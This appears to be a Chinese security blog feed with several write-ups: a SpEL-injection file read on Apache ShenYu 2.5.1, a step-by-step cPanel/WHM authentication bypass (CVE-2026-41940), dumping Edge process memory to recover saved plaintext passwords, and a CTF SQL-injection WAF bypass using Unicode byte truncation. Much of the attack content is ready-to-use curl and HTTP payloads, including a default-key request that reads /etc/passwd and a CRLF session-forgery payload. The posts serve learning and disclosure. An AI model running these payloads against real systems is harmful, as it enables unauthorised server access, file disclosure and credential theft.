Nevolar's blog

Apache shenyu 2.5.1 任意文件读取

Sat, 22 Aug 2026 00:00:00 GMT

环境搭建#

系统环境：Ubuntu 24.04
利用条件：开启 mock 插件

docker 环境搭建

1
sudo docker network create shenyu-quickstart
2
sudo docker run -d --name shenyu-admin-quickstart \
3
           -p 9095:9095        \
4
           --network=shenyu-quickstart     \
5
           apache/shenyu-admin:2.5.1
6

7
sudo docker run -d --name shenyu-quickstart \
8
           -p 9195:9195        \
9
           -e "shenyu.local.enabled=true" \
10
           -e SHENYU_SYNC_WEBSOCKET_URLS=ws://shenyu-admin-quickstart:9095/websocket \
11
           --network=shenyu-quickstart     \
12
           apache/shenyu-bootstrap:2.5.1

首先要进 shenhyu-amdin 的后台开个设置，默认账户：admin<123456>

image

开启 mock 插件，环境搭建完成

image

信息收集#

打开页面发现是 apache shenyu 框架

image

去 github 搜这个框架，并且在 src/main/resources/application.yml 目录发现了开放的接口

image

先探测一下版本，访问了一下 /v3/api-docs 提示失败，考虑到版本较老，将 v3 改为 v2 访问成功，并且看到了框架版本信息

image

默认 key 创建路由#

在 ReadMe 里有个默认 key，可以用于创建路由

image

官方给出的示例如下

1
curl --location --request POST 'http://localhost:9195/shenyu/plugin/selectorAndRules' \--header 'Content-Type: application/json' \--header 'localKey: 123456' \--data-raw '{
2
"pluginName": "divide",
3
"selectorHandler": "[{\"upstreamUrl\":\"127.0.0.1:8080\"}]",
4
"conditionDataList": [{
5
"paramType": "uri",
6
"operator": "match",
7
"paramValue": "/**"
8
  }],
9
"ruleDataList": [{
10
"ruleHandler": "{\"loadBalance\":\"random\"}",
11
"conditionDataList": [{
12
"paramType": "uri",
13
"operator": "match",
14
"paramValue": "/**"
15
  }]
16
  }]
17
}'

展开收起

image

但是并没有什么用，我们现在的思路是找到一个有问题的插件，添加路由，然后在访问路由时触发 sink 点

代码审计#

通过代码审计我们可以看到 shenyu-plugin-mock 插件有一处 SPEL 表达式注入，文件路径：C:\Users\aaa\Documents\environment\shenyu-2.5.1_2\shenyu-2.5.1\shenyu-plugin\shenyu-plugin-mock\src\main\java\org\apache\shenyu\plugin\mock\generator\ExpressionGenerator.java，同时文档也有提到这个插件：Mock 插件 | Apache ShenYu，但是我们并不知道传参，所以我们现在要去找传参

image

经过一番寻找，传参在 C:\Users\aaa\Documents\environment\shenyu-2.5.1_2\shenyu-2.5.1\shenyu-web\src\main\java\org\apache\shenyu\web\controller\LocalPluginController.java

image

SPEL 表达式注入利用#

列目录

1
curl --location --request POST 'http://10.8.20.114:9195/shenyu/plugin/selectorAndRules' \
2
--header 'localKey: 123456' \
3
--header 'Content-Type: application/json' \
4
--header 'User-Agent: PostmanRuntime/7.51.0' \
5
--data-raw '{
6
  "pluginName": "mock",
7
  "selectorHandler": "[]",
8
  "conditionDataList": [
9
    {
10
      "paramType": "uri",
11
      "operator": "match",
12
      "paramValue": "/ls/**"
13
    }
14
  ],
15
  "ruleDataList": [
16
    {
17
      "ruleName": "list_dir",
18
      "ruleHandler": "{\"httpStatusCode\":200,\"responseContent\":\"{\\\"files\\\":\\\"${expression|T(org.springframework.util.StringUtils).arrayToCommaDelimitedString(new java.io.File(\\\".\\\").list())}\\\"}\"}",
19
      "conditionDataList": [
20
        {
21
          "paramType": "uri",
22
          "operator": "match",
23
          "paramValue": "/ls/**"
24
        }
25
      ]
26
    }
27
  ]
28
}'

展开收起

image

读 passwd 文件

1
curl -X POST http://10.8.20.114:9195/shenyu/plugin/selectorAndRules \
2
-H 'Content-Type: application/json' \
3
-H 'localKey: 123456' \
4
--data-raw '{
5
    "pluginName": "mock",
6
    "selectorHandler": "[]",
7
    "conditionDataList": [
8
        {
9
            "paramType": "uri",
10
            "operator": "match",
11
            "paramValue": "/readfile2/**"
12
        }
13
    ],
14
    "ruleDataList": [
15
        {
16
            "ruleName": "read_test",
17
            "ruleHandler": "{\"httpStatusCode\":200,\"responseContent\":\"{\\\"file\\\":\\\"${expression|new java.lang.String(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get(\\\"/etc/passwd\\\")))}\\\"}\"}",
18
            "conditionDataList": [
19
                {
20
                    "paramType": "uri",
21
                    "operator": "match",
22
                    "paramValue": "/readfile2/**"
23
                }
24
            ]
25
        }
26
    ]
27
}'

展开收起

image

CVE-2026-41940 cPanel／WHM 认证绕过漏洞分析

Sat, 22 Aug 2026 00:00:00 GMT

来源：https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/

漏洞概述#

CVE 编号：CVE-2026-41940
影响范围：所有当前支持的 cPanel & WHM 版本（影响超过 7000 万域名）
漏洞类型：认证绕过（Authentication Bypass）
在野利用：已知（多家主机商确认已在野使用作为零日）

背景#

cPanel & WHM 是全球最常用的主机管理面板：

WHM：管理员面板，root 级别权限，可管理 SSL、SSL 证书、安全协议等
cPanel：面向用户的控制面板，管理单个托管账户

WHM 是”王国的钥匙”，cPanel 是”每个公寓的钥匙”。如果王国是互联网，公寓是网站——那就意味着控制了这一切。

第一部分：cPanel Session 机制#

登录流程中的 Session 创建#

当用户尝试登录 WHM 时，无论密码是否正确，服务器都会：

创建一个预认证 Session，写入磁盘
返回一个 Set-Cookie：

1
Set-Cookie: whostmgrsession=%3aWg_mjzgt1hyfXefK%2c1bd3d4bf5ecbf83b660789ab0f3198fa

URL 解码后为：:Wg_mjzgt1hyfXefK,1bd3d4bf5ecbf83b660789ab0f3198fa

Cookie 结构#

Cookie 由两部分组成，用逗号分隔：

1
<session_name>,<ob>

<session_name>：实际 session 文件名（如 :Wg_mjzgt1hyfXefK）
<ob>：32 位十六进制字符串，每会话一个的秘密密钥

Session 文件结构#

Session 文件存储在 /var/cpanel/sessions/raw/，格式为明文 key=value，每行用 \r\n 分隔：

1
local_ip_address=172.17.0.2
2
external_validation_token=bOOwkwVzFsruooU0
3
cp_security_token=/cpsess7833455106
4
needs_auth=1
5
origin_as_string=address=172.17.0.1,app=whostmgrd,method=badpass
6
hulk_registered=0
7
tfa_verified=0
8
ip_address=172.17.0.1
9
login_theme=cpanel

预认证 session 包含：

cp_security_token：预发的访问令牌
source IP：用于 IP 锁定
tfa_verified：2FA 验证标志
其他状态信息

用户最终成功登录后，同一个 session 文件会被”升级”，添加 user=... 和 pass=... 字段。

第二部分：漏洞根因 — saveSession 的两个 Bug#

Bug 1：密码写盘时不过滤 CRLF#

在未打补丁的版本中，saveSession 函数对密码的处理如下：

1
my $ob = get_ob_part(\$session);   # 从 cookie 提取 <ob> 部分
2
my $encoder = $ob && Cpanel::Session::Encoder->new('secret' => $ob);
3
if ($encoder && length $session_ref->{'pass'}) {
4
    local $session_ref->{'pass'} = $encoder->encode_data($session_ref->{'pass'});
5
}

问题所在：只有当 $ob 存在时才会对密码进行编码。

如果攻击者故意让 cookie 中没有逗号后的 <ob> 部分（只发 :Wg_mjzgt1hyfXefK），则：

$ob 为空
$encoder 为空（falsy）
密码直接以明文形式写入 session 文件，没有任何编码

Bug 2：set_pass 不过滤 \r\n#

处理 Basic 认证时，密码经过 set_pass 处理：

1
my ($user, $pass) = split(/:/, decode_base64($encoded), 2);
2
$user = $server_obj->auth->set_user($user);   # 只过滤 \0 和 /
3
$pass = $server_obj->auth->set_pass($pass);   # 只过滤 \0，没过滤 \r\n！
4
$SESSION_ref->{'pass'} = $pass;
5
Cpanel::Session::saveSession($session, $SESSION_ref);

set_pass 只过滤了 \0，没有过滤 \r\n。

漏洞的化学反应#

cPanel session 文件格式是 key=value\r\n。当密码值中包含 \r\n 时：

正常 session 文件内容：

1
pass=正确密码
2
user=root
3
tfa_verified=0

注入 CRLF 后：

1
pass=x
2
hasroot=1
3
user=root
4
tfa_verified=1
5
cp_security_token=/cpsess9999999999
6
successful_internal_auth_with_timestamp=1777462149

解析器将把后续内容视为 6 行独立的 key=value 记录！hasroot=1、user=root、tfa_verified=1 全都成为 session 文件的顶层字段。

第三部分：完整攻击流程#

Step 1：Mint 预认证 Session#

发送一个错误的登录尝试，服务器创建 session 文件：

1
POST /login/?login_only=1 HTTP/1.1
2
Host: target:2087
3

4
user=root&pass=wrong

响应：

1
Set-Cookie: whostmgrsession=%3aWg_mjzgt1hyfXefK%2c4d257abc...

Step 2：注入 CRLF — 发送无的 Cookie#

将 cookie 中的逗号和后面的 <ob> 部分删掉，只发送：:Wg_mjzgt1hyfXefK（URL 编码为 %3aWg_mjzgt1hyfXefK）。

这样 get_ob_part 拿到的 $ob 为空，密码不会被编码。

然后在密码中构造 CRLF 注入 payload：

1
root:x
2
hasroot=1
3
tfa_verified=1
4
user=root
5
cp_security_token=/cpsess9999999999
6
successful_internal_auth_with_timestamp=1777462149

Base64 编码后发送：

1
GET / HTTP/1.1
2
Host: target:2087
3
Cookie: whostmgrsession=%3aWg_mjzgt1hyfXefK
4
Authorization: Basic cm9vdDp4DQpoYXNyb290PTENCnRmYV92ZXJpZmllZD0x...

Step 3：Session 文件被污染#

磁盘上的 session 文件变成：

1
tfa_verified=0$
2
ip_address=172.17.0.1$
3
user=root$
4
pass=x   <-- \r\n 后注入内容开始
5
hasroot=1   <-- 注入的
6
tfa_verified=1   <-- 注入的
7
user=root   <-- 注入的
8
cp_security_token=/cpsess9999999999   <-- 注入的
9
successful_internal_auth_with_timestamp=1777462149   <-- 注入的
10
...

六个新行作为独立记录写入 session 文件！

Step 4：服务器返回 307 重定向#

1
HTTP/1.1 307 Moved
2
Location: /cpsess0228251236/

服务器认为认证成功。

Step 5：访问版本信息验证是否成功绕过#

1
GET /cpsess0228251236/json-api/version HTTP/1.1
2
Host: target:2087
3
Cookie: whostmgrsession=%3aQSJN_sFdKZtCi2o_
4
Connection: close

1
HTTP/1.1 403 Forbidden Access denied
2
Connection: close
3
Content-Type: text/plain; charset="utf-8"
4

5
{"cpanelresult":{"apiversion":"2","error":"Access denied","data":{"reason":"Access denied","result":"0"},"type":"text"}}

绕过失败了，为什么失败，因为解析器 LoadSession不是读取原始的 key=value 文件，而是读取 cache 目录下的 JSON 序列化文件：

1
/var/cpanel/sessions/raw/:Wg_mjzgt1hyfXefK   <-- 原始行式文件
2
/var/cpanel/sessions/cache/:Wg_mjzgt1hyfXefK  <-- JSON 序列化缓存

loadSession 优先读取 cache（JSON 文件），只有 cache 加载失败时才回退到读取原始文件。JSON 文件没有被 CRLF 污染，所以注入的内容没生效。

1
sub loadSession {
2
    my ($session) = @_;
3
    ...
4
    my $session_file  = get_session_file_path($session); # /var/cpanel/sessions/raw/<id>
5
    my $session_cache = $Cpanel::Config::Session::SESSION_DIR . '/cache/' . $session;
6
    my $session_ref;
7

8
    # First try the binary cache. AdminBin::Serializer is JSON.
9
    if ( $session_cache_fh = _open_if_exists_or_warn($session_cache) ) {
10
        eval {
11
            local $SIG{__DIE__};
12
            $session_ref = Cpanel::AdminBin::Serializer::LoadFile($session_cache_fh);
13
            $mtime       = ( stat($session_cache_fh) )[9];
14
        };
15
    }
16

17
    # Only fall through to the slow text parse if the cache load failed or returned nothing.
18
    if ( !keys %$session_ref ) {
19
        if ( $session_fh = _open_if_exists_or_warn($session_file) ) {
20
            require Cpanel::Config::LoadConfig;
21
            $session_ref = Cpanel::Config::LoadConfig::parse_from_filehandle(
22
                $session_fh, delimiter => '='
23
            );
24
        }
25
    }
26
    ...
27
}

展开收起

所以在缓存里，加载器实际看到的是：

1
{
2
"tfa_verified":"0",
3
"ip_address":"172.17.0.1",
4
"user":"root",
5
"login_theme":"cpanel",
6
"port":"43586",
7
"origin_as_string":"address=172.17.0.1,app=whostmgrd,method=badpass",
8
"pass":"x\r\nhasroot=1\r\ntfa_verified=1\r\nuser=root\r\ncp_security_token=/cpsess9999999999\r\nsuccessful_internal_auth_with_timestamp=1777462149",
9
"hulk_registered":"0",
10
"local_port":"2087",
11
"cp_security_token":"/cpsess0228251236",
12
"external_validation_token":"ss27XQjbY11gmCDs",
13
"local_ip_address":"172.17.0.2"
14
}

加载到变量里面之后是这样：

1
$SESSION_ref = {
2
    user                      => 'root',
3
    pass                      => "x\r\nhasroot=1\r\ntfa_verified=1\r\n...",
4
    cp_security_token         => '/cpsess0228251236',
5
    tfa_verified              => '0',
6
    # ...no hasroot, no successful_internal_auth_with_timestamp
7
}

第四部分：Cache 机制与绕过#

在 Step 5 的时候，我们看见有一个函数 parse_from_filehandle，算是一种在 cache 读取不到的时候的备用模式

1
    if ( !keys %$session_ref ) {
2
        if ( $session_fh = _open_if_exists_or_warn($session_file) ) {
3
            require Cpanel::Config::LoadConfig;
4
            $session_ref = Cpanel::Config::LoadConfig::parse_from_filehandle(
5
                $session_fh, delimiter => '='
6
            );
7
        }
8
    }

查找这个函数，发现有两处调用过这个函数：

1
grep -rn 'LoadConfig::loadConfig\|parse_from_filehandle'  /usr/local/cpanel/Cpanel/Session*
2

3
/usr/local/cpanel/Cpanel/Session/Load.pm:69:   parse_from_filehandle(...)        # the loader, fallback path
4
/usr/local/cpanel/Cpanel/Session/Modify.pm:97: LoadConfig::loadConfig($session_file, ...,
5
                                                    { 'nocache' => 1, ... });

跟进Modify.pm文件，发现有两个函数值得关注

这是一个绕过 cache，直接读 raw 的构造函数

1
sub new {
2
    my ( $class, $session, $check_expiration ) = @_;
3

4
    if ( $check_expiration ? !Cpanel::Session::Load::session_exists_and_is_current($session) : !Cpanel::Session::Load::session_exists($session) ) {
5
        die "The session  ^`^|$session ^`^} does not exist";
6
    }
7

8
    Cpanel::Session::Load::get_ob_part( \$session );    # strip ob_part
9

10
    my $session_file = Cpanel::Session::Load::get_session_file_path($session);
11

12
    # Cpanel::Transaction not available here due to memory constraints
13
    my ( $ref, $fh, $conflock ) = Cpanel::Config::LoadConfig::loadConfig( // (1)
14
        $session_file,
15
        undef,
16
        '=',
17
        undef,
18
        0,
19
        0,
20
        { 'skip_readable_check' => 1, 'nocache' => 1, 'keep_locked_open' => 1, 'rw' => 1 } // (2)
21
    );
22

23
    return bless {
24
        '_session' => $session,
25
        '_fh'      => $fh,
26
        '_lock'    => $conflock,
27
        '_data'    => Cpanel::Session::decode_origin($ref),
28
    }, $class;
29
}

展开收起

现在如果我们能触发任何预授权可达的代码路径，调用 Modify：：new 并调用 Modify：：save 在我们的会话中，注入就会作为顶层密钥提升到 JSON 缓存中。

在寻找 new friend 的时候，发现了一个函数，这个函数在 (1) 处调用了 Modify::new，在 (2) 处调用了 Modify::save，正是我们需要的

1
sub do_token_denied {
2
    my ($error_msg, $form_ref, $goto_uri, $use_theme) = @_;
3
    ...
4
    my $max_tries = 3;
5
    if ($user_provided_session_ref = $server_obj->get_current_session_ref_if_exists) {
6
        my $session = $server_obj->get_current_session;
7
        if (not $server_obj->request->get_supplied_security_token
8
            or ++$user_provided_session_ref->{'token_denied'} < $max_tries)
9
        {
10
            require Cpanel::Session::Modify;
11
            my $session_mod = 'Cpanel::Session::Modify'->new($session);     # (1)
12
            $session_mod->set('token_denied',
13
                defined $session_mod->get('token_denied')
14
                ? $session_mod->get('token_denied') + 1
15
                : 1
16
            );
17
            $session_mod->save;                                             # (2)
18
            $another_try = 1;
19
        }
20
    }
21
    ...
22
}

展开收起

解释一下，每当某些 URL 被请求时，会调用 check_security_token do_token_denied

实现方式如下——在（1）时检查提供的安全令牌，如果失败，在（2）时调用 do_token_denied：

1
sub check_security_token {
2
    ...
3
    if (not $server_obj->request->get_supplied_security_token) {
4
        $failmsg = 'security token missing';
5
    }
6
    elsif ($ENV{'cp_security_token'} ne $server_obj->request->get_supplied_security_token)  { // (1)
7
        $failmsg = 'security token incorrect';
8
    }
9
    if ($failmsg) {
10
        if ($is_login_url) {
11
            $server_obj->badpass(...);
12
        }
13
        else {
14
            failedlogin($failmsg, 1);
15
            $server_obj->connection->set_is_last_request(1);
16
            do_token_denied($failmsg);                       # (2)
17
        }
18
        ...
19
}

展开收起

如果你想知道什么是安全令牌——几乎所有发送给 cpsrvd 的 HTTP 请求在 URI 中都会有一个令牌前缀：

1
/cpsess1234567890/scripts2/listaccts

其中的 cpsess1234567890 就是安全令牌，所以当我们发送没有带安全令牌的请求的时候，就会强制触发 do_token_denied 函数

1
GET /scripts2/listaccts HTTP/1.1
2
Host: target:2087
3
Cookie: whostmgrsession=%3aQSJN_sFdKZtCi2o_
4
Connection: close

响应

1
HTTP/1.1 401 Token Denied
2
Cache-Control: no-cache, no-store, must-revalidate, private
3
Content-Type: text/html; charset="utf-8"

再看看缓存文件

1
{
2
"tfa_verified":"1",                                      <-- was 0, now 1 — injection won
3
"user":"root",
4
"hasroot":"1",                                           <-- TOP-LEVEL now
5
"successful_internal_auth_with_timestamp":"1777462149",  <-- TOP-LEVEL now
6
"cp_security_token":"/cpsess0228251236",
7
"external_validation_token":"ss27XQjbY11gmCDs",
8
"token_denied":"1",
9
"pass":"x",                                              <-- stripped to just "x"
10
"ip_address":"172.17.0.1",
11
"local_ip_address":"172.17.0.2",
12
...
13
}

现在我们的 cache 已经绕过成功了，我们要成功绕过身份认证了吗？并没有

1
HTTP/1.1 403 Forbidden Access denied
2

3
{"cpanelresult":{"apiversion":"2","error":"Access denied","data":{"reason":"Access denied","result":"0"}}}

第五部分：/etc/shadow 绕过#

让我们看看 handle_one_connection，它紧接在 handle_auth 之后：

1
handle_form_login();
2
…
3
handle_auth();
4

5
my $authtype   = $server_obj->auth->get_auth_type || '';
6
my $document   = $server_obj->request->get_document;
7
$user          = $server_obj->auth->get_user;
8
my $pass       = $server_obj->auth->get_pass;
9
…
10
if ($Cpanel::App::appname eq 'whostmgrd') {
11
    …
12
    docheckpass_whostmgrd(
13
        'user' => $user,
14
        'pass' => $pass,
15
        …
16
    );
17
    …
18
}

展开收起

docheckpass_whostmgrd函数的意思是每次请求都要验证密码，密码存放在 /etc/shadow 中

默认情况下，它会在 /etc/shadow 上运行 Cpanel::CheckPass::UNIX::checkpassword($pass, $shadow_entry) against /etc/shadow 逻辑上我们伪造pass会与 root 的真实密码匹配不符，我们会被退回。

不过…我们观察下面的函数，这些函数表示如果设置了任一时间戳，密码验证会被跳过，密码验证 AUTH_OK 无条件返回（参见，这也是我们最初演示发送包含 successful_internal_auth_with_timestamp 的有效载荷的原因）。

1
sub docheckpass_whostmgrd {
2
    my (%OPTS) = @_;
3
    …
4
    if ($successful_external_auth_with_timestamp or $successful_internal_auth_with_timestamp) {
5
        $authorized = _check_external_internal_auth_from_docheckpass(%OPTS);
6
    }
7
    …
8
}

1
elsif (not $SESSION_ref->{'needs_auth'}) {                    # session-auth branch
2
    …
3
    if ($SESSION_ref->{'successful_internal_auth_with_timestamp'}) {
4
        $successful_internal_auth_with_timestamp =
5
            $SESSION_ref->{'successful_internal_auth_with_timestamp'};
6
    }
7
    …
8
}

1
sub check_authok_user {
2
    my (%AUTHOPTS) = @_;
3
    …
4
    if ($AUTHOPTS{'authable_user'}{'successful_external_auth_with_timestamp'}
5
        or $AUTHOPTS{'authable_user'}{'successful_internal_auth_with_timestamp'})
6
    {
7
        return $Cpanel::Server::AUTH_OK, 0;            # <-- /etc/shadow never consulted
8
    }
9
    elsif (Cpanel::CheckPass::UNIX::checkpassword(
10
            $AUTHOPTS{'password'},
11
            $AUTHOPTS{'authable_user'}{'encrypted_pass'}))
12
    {
13
        …
14
    }
15
}

展开收起

然后就成功绕过了 /etc/shadow 的密码验证，访问 /json-api/version 会返回具体版本号

第六部分：漏洞总结#

项目	内容
漏洞类型	认证绕过（Authentication Bypass）
影响组件	cPanel cpsrvd Session 处理
影响版本	所有当前支持的 cPanel & WHM 版本
根因	1. Basic 认证密码不过滤 `\r\n` 2. 无 `<ob>` 时密码不编码直接写盘 3. session 文件格式支持 CRLF 注入
攻击向量	通过 Basic 认证头注入 CRLF，伪造 session 文件字段
影响	未授权访问 WHM 管理面板

受影响版本与修复#

版本	修复版本
11.110.0.x	11.110.0.97
11.118.0.x	11.118.0.63
11.126.0.x	11.126.0.54
11.132.0.x	11.132.0.29
11.134.0.x	11.134.0.20
11.136.0.x	11.136.0.5

建议：立即升级到上述修复版本或更高版本。

Edge 转储明文账密

Sat, 22 Aug 2026 00:00:00 GMT

简介#

起因是刷推看到了这个

image

复现步骤#

Step 1：模拟环境#

首先要保证 Edge 的密码本里有信息

image

Step 2：创建内存转储文件#

image

然后你就会得到一个 DMP 结尾的文件

Step 3：筛选字符串#

现在用微软官方的字符串工具筛选出所有字符串，方便查看

下载链接：Strings v2.54

执行命令：

1
.\strings64.exe -accepteula -u .\msedge.DMP > output.txt

Step 4：查找关键词#

看到了明文存储的账号密码

image

Edge 里显示的账号密码，一模一样

image

总结#

这算是一个奇淫技巧吧，但是目前发现的问题是这些字符串都是乱序存储的，还没怎么掌握它们的特征，所以到 Step 4 查找关键字的时候会比较麻烦一点

Ghost Bit SQL 注入绕 WAF

Sat, 22 Aug 2026 00:00:00 GMT

简介#

群友给的一道题，是 sql 注入的题，主要是学习一下最近出的新手法——Java 比特位溢出绕 WAF

不太懂的可以看一下：【WAF集体沦陷】Java “幽灵比特位”（Ghost Bits）引发的新型 WAF 绕过与注入攻击

一个内部服务搜索系统，配有WAF防护。搜索框支持模糊查询，输入关键词即可搜索服务列表。WAF拦截了所有已知的SQL注入攻击向量，但似乎遗漏了什么……

看起来是 like 查询

image

正常请求：

1
GET /search?q=a HTTP/1.1

1
{
2
     "items": [
3
          {
4
               "name": "Admin Panel",
5
               "description": "System administration interface",
6
               "id": 1,
7
               "category": "System"
8
          },
9
          {
10
               "name": "Flag Manager",
11
               "description": "Feature flag management service",
12
               "id": 3,
13
               "category": "DevOps"
14
          },
15
          {
16
               "name": "User Auth Service",
17
               "description": "Authentication and authorization",
18
               "id": 4,
19
               "category": "Security"
20
          },
21
          {
22
               "name": "DataSync Module",
23
               "description": "Real-time data synchronization",
24
               "id": 5,
25
               "category": "Module"
26
          },
27
          {
28
               "name": "API Gateway",
29
               "description": "Request routing and rate limiting",
30
               "id": 6,
31
               "category": "Infrastructure"
32
          },
33
          {
34
               "name": "Cache Layer",
35
               "description": "Distributed caching service",
36
               "id": 8,
37
               "category": "Infrastructure"
38
          },
39
          {
40
               "name": "AAA Framework",
41
               "description": "Authentication Authorization Accounting",
42
               "id": 9,
43
               "category": "Security"
44
          },
45
          {
46
               "name": "Task Scheduler",
47
               "description": "Cron job management platform",
48
               "id": 10,
49
               "category": "DevOps"
50
          }
51
     ],
52
     "status": "success"
53
}

展开收起

解题思路#

尝试传统注入，均被 waf 拦截

1
GET /search?q=a' => 403
2
GET /search?q='OR'1'='1--
3
GET /search?q='OR%201=1
4
GET /search?q=a'

查看 WAF 规则，发现拦截了

所有SQL关键字（OR, AND, UNION, SELECT, FROM, WHERE等）
所有特殊字符（引号、括号、等号、注释符等）
URL编码（3层解码后检测）
宽字节注入（%bf%27等）
双写绕过（OORR, SESELECTLECT等）
注释绕过（去除注释后重新检测）

仔细分析 WAF 逻辑，发现一个特殊分支

当输入全部由非ASCII字符（Unicode码点 ≥ 0x80）组成时，WAF直接放行，不做任何黑名单检测。

1
boolean isAllNonAscii = true;
2
for (char c : input.toCharArray()) {
3
    if (c < 0x80) {
4
        isAllNonAscii = false;
5
        break;
6
    }
7
}
8

9
if (isAllNonAscii) {
10
    return true;  // 直接放行！
11
}

同时 WAF 末尾还有一层检测

1
for (char c : input.toCharArray()) {
2
    if (!Character.isLetterOrDigit(c) && c != '_') {
3
        return false;
4
    }
5
}

这意味着混合ASCII和非ASCII的输入中，非字母数字的ASCII字符会被拦截。但如果输入全是非ASCII字符，则绕过所有检测。

分析源码发现查询参数经过一个 serializeAndDeserialize 序列化管道处理，QuerySerializer 实现了二进制协议的序列化/反序列化，用于查询数据的传输管道。

1
public class QuerySerializer {
2

3
    private static final byte PROTOCOL_VERSION = 0x01;
4
    private static final byte MSG_TYPE_QUERY = 0x02;
5

6
    public static String serializeAndDeserialize(String input) throws IOException {
7
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
8
        DataOutputStream dos = new DataOutputStream(baos);
9

10
        dos.writeByte(PROTOCOL_VERSION);
11
        dos.writeByte(MSG_TYPE_QUERY);
12
        dos.writeInt(input.length());
13
        dos.writeBytes(input);    // 关键漏洞点！
14
        dos.flush();
15

16
        byte[] data = baos.toByteArray();
17
        DataInputStream dis = new DataInputStream(new ByteArrayInputStream(data));
18

19
        dis.readByte();
20
        dis.readByte();
21
        int len = dis.readInt();
22

23
        byte[] queryBytes = new byte[len];
24
        dis.readFully(queryBytes);
25

26
        return new String(queryBytes, StandardCharsets.UTF_8);
27
    }
28
}

展开收起

java.io.DataOutputStream 是 JDK 标准库的真实方法，它将每个 char 强制转换为 byte，即只保留低8位，高8位被丢弃。

1
public final void writeBytes(String s) throws IOException {
2
    int len = s.length();
3
    for (int i = 0 ; i < len ; i++) {
4
        out.write((byte)s.charAt(i));  // 强制转byte，截断高字节！
5
    }
6
}

这种模式在真实项目中广泛存在：

Oracle Tuxedo/Jolt 客户端使用 dout.writeBytes(inString) 处理网络传输
RandomAccessFile.writeBytes() 用于文件写入
Netty 的 ByteBufOutputStream 实现了 DataOutput 接口，同样有此方法
自定义二进制协议/序列化中实现 Externalizable 接口时的常见用法

这意味着：

输入字符	Unicode码点	二进制	writeBytes输出	截断后
`A`	U+0041	0x0041	0x41	`A`
`Ā`	U+0100	0x0100	0x00	NUL
`ā`	U+0101	0x0101	0x01	SOH
`ł`	U+0142	0x0142	0x42	`B`
`Ń`	U+0143	0x0143	0x43	`C`
`ŏ`	U+014F	0x014F	0x4F	`O`
`ŕ`	U+0155	0x0155	0x55	`U`

核心原理：将每个ASCII字符的码点加上 0x0100 ，得到对应的Unicode字符。这些字符的码点 ≥ 0x80，WAF直接放行；但经过 writeBytes() 处理后，高字节被截断，还原为原始ASCII字符，构成有效的SQL注入语句。

构造 payload

编码函数：将每个字符的码点 +0x0100

1
def encode(payload):
2
    result = ""
3
    for char in payload:
4
        result += chr(ord(char) + 0x0100)
5
    return result

验证注入

原始payload：' OR '1'='1

编码后发送请求，WAF检测：输入全部为非ASCII字符 → 放行

后端处理：writeBytes() 截断高字节 → 还原为 ' OR '1'='1

SQL执行：

1
SELECT id, name, description, category FROM items
2
WHERE LOWER(name) LIKE '%' OR '1'='1%'

返回所有10条记录，注入成功。

1
GET /search?q={encode(payload)}

1
{
2
  "items": [
3
    {
4
      "name": "Admin Panel",
5
      "description": "System administration interface",
6
      "id": 1,
7
      "category": "System"
8
    },
9
    {
10
      "name": "Test Environment",
11
      "id": 2,
12
      "category": "DevOps"
13
    },
14
    {
15
      "name": "Flag Manager",
16
      "description": "Feature flag management service",
17
      "id": 3,
18
      "category": "DevOps"
19
    },
20
    {
21
      "name": "User Auth Service",
22
      "description": "Authentication and authorization",
23
      "id": 4,
24
      "category": "Security"
25
    },
26
    {
27
      "name": "DataSync Module",
28
      "description": "Real-time data synchronization",
29
      "id": 5,
30
      "category": "Module"
31
    },
32
    {
33
      "name": "API Gateway",
34
      "description": "Request routing and rate limiting",
35
      "id": 6,
36
      "category": "Infrastructure"
37
    },
38
    {
39
      "name": "Log Collector",
40
      "description": "Centralized log aggregation",
41
      "id": 7,
42
      "category": "Monitoring"
43
    },
44
    {
45
      "name": "Cache Layer",
46
      "description": "Distributed caching service",
47
      "id": 8,
48
      "category": "Infrastructure"
49
    },
50
    {
51
      "name": "AAA Framework",
52
      "description": "Authentication Authorization Accounting",
53
      "id": 9,
54
      "category": "Security"
55
    },
56
    {
57
      "name": "Task Scheduler",
58
      "description": "Cron job management platform",
59
      "id": 10,
60
      "category": "DevOps"
61
    }
62
  ],
63
  "status": "success"
64
}

展开收起

获取 flag

原始payload：' UNION SELECT 1,flag,'x','x' FROM flags--

编码后发送请求，WAF放行，后端还原为：

1
SELECT id, name, description, category FROM items
2
WHERE LOWER(name) LIKE '%' UNION SELECT 1, flag, 'x', 'x' FROM flags--%'

-- 注释截断了末尾的 %'，SQL有效执行。

1
{
2
  "status": "success",
3
  "items": [
4
    {
5
      "id": 1,
6
      "name": "flag{y0u_f0und_th3_h1dd3n_byt3s!}",
7
      "description": "x",
8
      "category": "x"
9
    }
10
  ]
11
}

漏洞原理总结#

1
用户输入 (全非ASCII Unicode)
2
    │
3
    ▼
4
┌─────────────────────────────┐
5
│  WAF 检测                    │
6
│  所有字符 ≥ 0x80             │
7
│  → isAllNonAscii = true     │
8
│  → 直接放行，不做黑名单检测   │
9
└─────────────────────────────┘
10
    │
11
    ▼
12
┌─────────────────────────────────────┐
13
│  QuerySerializer (二进制协议管道)     │
14
│  DataOutputStream.writeBytes()      │
15
│  (byte)s.charAt(i)                  │
16
│  截断char高字节                      │
17
│  U+01XX → 0xXX                      │
18
│  非ASCII → ASCII                     │
19
└─────────────────────────────────────┘
20
    │
21
    ▼
22
┌─────────────────────────────┐
23
│  SQL LIKE 拼接               │
24
│  还原后的ASCII字符构成        │
25
│  有效的SQL注入语句            │
26
└─────────────────────────────┘

展开收起

核心问题： DataOutputStream.writeBytes() 是JDK标准库的真实方法，在将 char 转为 byte 时会丢失高字节信息。这种序列化模式在真实项目中广泛使用（二进制协议、网络传输、文件IO等）。攻击者利用这一特性，将SQL关键字编码为高码点Unicode字符绕过WAF，再由 writeBytes() 还原为有效SQL。

修复方案：

使用 writeUTF() 替代 writeBytes()，writeUTF() 会正确处理UTF-8编码
在WAF中先对输入进行与后端相同的字符编码转换处理后再检测
使用参数化查询（PreparedStatement）从根本上防止SQL注入

镜像备份与还原

Sat, 22 Aug 2026 00:00:00 GMT

简介#

学习目标：

了解 Windows 和 Linux 镜像备份方式
了解如何将 Linux 还原到 u 盘

Linux dd 命令镜像备份和挂载#

环境：Windows11 Linux 镜像：Ubuntu 24.04

任务：首先就是用 dd 命令进行镜像备份，克隆到 u 盘里，然后挂载 u 盘提取里面的文件 dd 命令参数

if=[源文件]
